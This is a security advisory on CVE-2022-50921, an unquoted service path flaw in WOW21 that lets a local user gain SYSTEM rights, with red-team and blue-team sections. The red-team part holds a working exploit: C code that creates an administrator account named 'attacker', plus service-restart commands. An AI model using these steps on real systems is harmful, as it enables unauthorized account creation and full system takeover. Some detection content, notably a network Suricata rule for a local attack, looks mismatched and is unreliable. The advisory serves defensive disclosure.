CVE-2022-50921

Executive Summary

CVE-2022-50921 is a local privilege escalation vulnerability in WOW21 version 5.0.1.9, stemming from an unquoted service path. This flaw allows a local attacker with low privileges to inject a malicious executable into the service’s startup path. When the service starts, the injected binary executes with LocalSystem privileges, granting the attacker full control over the system. The vulnerability is classified under CWE-428 (Unquoted Search Path or Element) and maps to MITRE ATT&CK technique T1574.009 (Path Interception by Unquoted Path). No public proof-of-concept or patch is currently available, and the vendor has not released a fix.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone Windows service path issue in the WOW21 application.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions needed.
• Privileges Required: Low (PR:L) – attacker needs a standard user account.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – the vulnerable component and the impacted component are the same.
• Confidentiality, Integrity, Availability Impact: High (C:H/I:H/A:H) – full compromise.

Deep Dive & Mechanics

The vulnerability exists because the WOW21 service binary path is not enclosed in quotes. On Windows, when a service is configured with an unquoted path containing spaces, the Service Control Manager (SCM) interprets each space-separated segment as a potential executable. For example, if the service path is C:\Program Files\WOW21\Service.exe, the SCM will attempt to execute:

1. C:\Program.exe
2. C:\Program Files\WOW21\Service.exe

An attacker can place a malicious executable named Program.exe in C:\ (or in any writable directory along the path) and then restart the service. The SCM will execute the attacker’s binary with LocalSystem privileges.

The vulnerable service path in WOW21 5.0.1.9 is likely C:\Program Files\WOW21\Service.exe or similar. The attacker must have write access to a directory in the path (e.g., C:\ is writable by default for standard users on some configurations).

Vulnerable vs. Patched Code

Vulnerable Configuration (Unquoted Path):

[Service]
BinaryPathName = C:\Program Files\WOW21\Service.exe

Patched Configuration (Quoted Path):

[Service]
BinaryPathName = "C:\Program Files\WOW21\Service.exe"

The fix is to enclose the binary path in double quotes. Since no patch is available, users must manually apply this change via the registry or service configuration tool.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system with WOW21 5.0.1.9 installed.
• A standard user account.
• Write access to a directory in the unquoted path (e.g., C:\).

Steps:

1. Identify the vulnerable service:

   sc qc WOW21Service
   

   Look for BINARY_PATH_NAME without quotes.

2. Create a malicious executable (e.g., Program.exe) that adds a new admin user:

   // compile with: x86_64-w64-mingw32-gcc -o Program.exe Program.c
   #include <stdlib.h>
   int main() {
       system("net user attacker Password123! /add");
       system("net localgroup Administrators attacker /add");
       return 0;
   }
   

3. Place the executable in C:\Program.exe.

4. Restart the service:

   sc stop WOW21Service
   sc start WOW21Service
   

5. Verify the new admin user:

   net user attacker
   

Blue Team

Detection:

• Monitor for service path changes or restarts.
• Look for unexpected executables in C:\ or other root directories.
• Use Sysmon Event ID 1 (Process Creation) to detect Program.exe or similar spawned by services.

Hunting:

• Query for services with unquoted paths:

  Get-WmiObject win32_service | Where-Object { $_.PathName -notmatch '^".*"' -and $_.PathName -match ' ' }
  

• Check for suspicious files in writable directories:

  Get-ChildItem C:\ -Filter *.exe | Where-Object { $_.Name -match '^[A-Za-z]+\.exe$' }
  

Indicators of Compromise (IOCs)

• File: C:\Program.exe (or any executable placed in a directory along the unquoted path)
• Process: Program.exe spawned by services.exe or svchost.exe
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\WOW21Service\ImagePath containing an unquoted path
• Event Logs: Windows Event ID 7030 (Service Control Manager error) or 7045 (New service installed)
• User Account: Creation of unexpected local users (e.g., attacker)

Detection Engineering

YARA Rule

rule CVE_2022_50921_Unquoted_Service_Path {
    meta:
        description = "Detects unquoted service path in WOW21 service"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-50921"
    strings:
        $service_name = "WOW21Service" nocase
        $unquoted_path = /C:\\Program Files\\WOW21\\[^"]+/ nocase
    condition:
        $service_name and $unquoted_path
}

Sigma Rule

title: Unquoted Service Path in WOW21
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unquoted service path for WOW21 service
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-50921
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7030
        Message|contains: 'WOW21Service'
    condition: selection
falsepositives:
    - Legitimate unquoted paths (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-50921 Unquoted Service Path Exploit"; flow:to_server,established; content:"Program.exe"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manually quote the service binary path:

   • Open regedit and navigate to HKLM\SYSTEM\CurrentControlSet\Services\WOW21Service.
   • Modify the ImagePath value to include quotes: "C:\Program Files\WOW21\Service.exe".
   • Restart the service.

2. Restrict write permissions to C:\ and other root directories for standard users.

3. Monitor for unauthorized service modifications.

Long-term:

• Apply vendor patch when available.
• Use Group Policy to enforce quoted service paths.
• Implement application whitelisting (e.g., AppLocker) to block untrusted executables.

Valters IT
Securing digital frontiers with precision and expertise.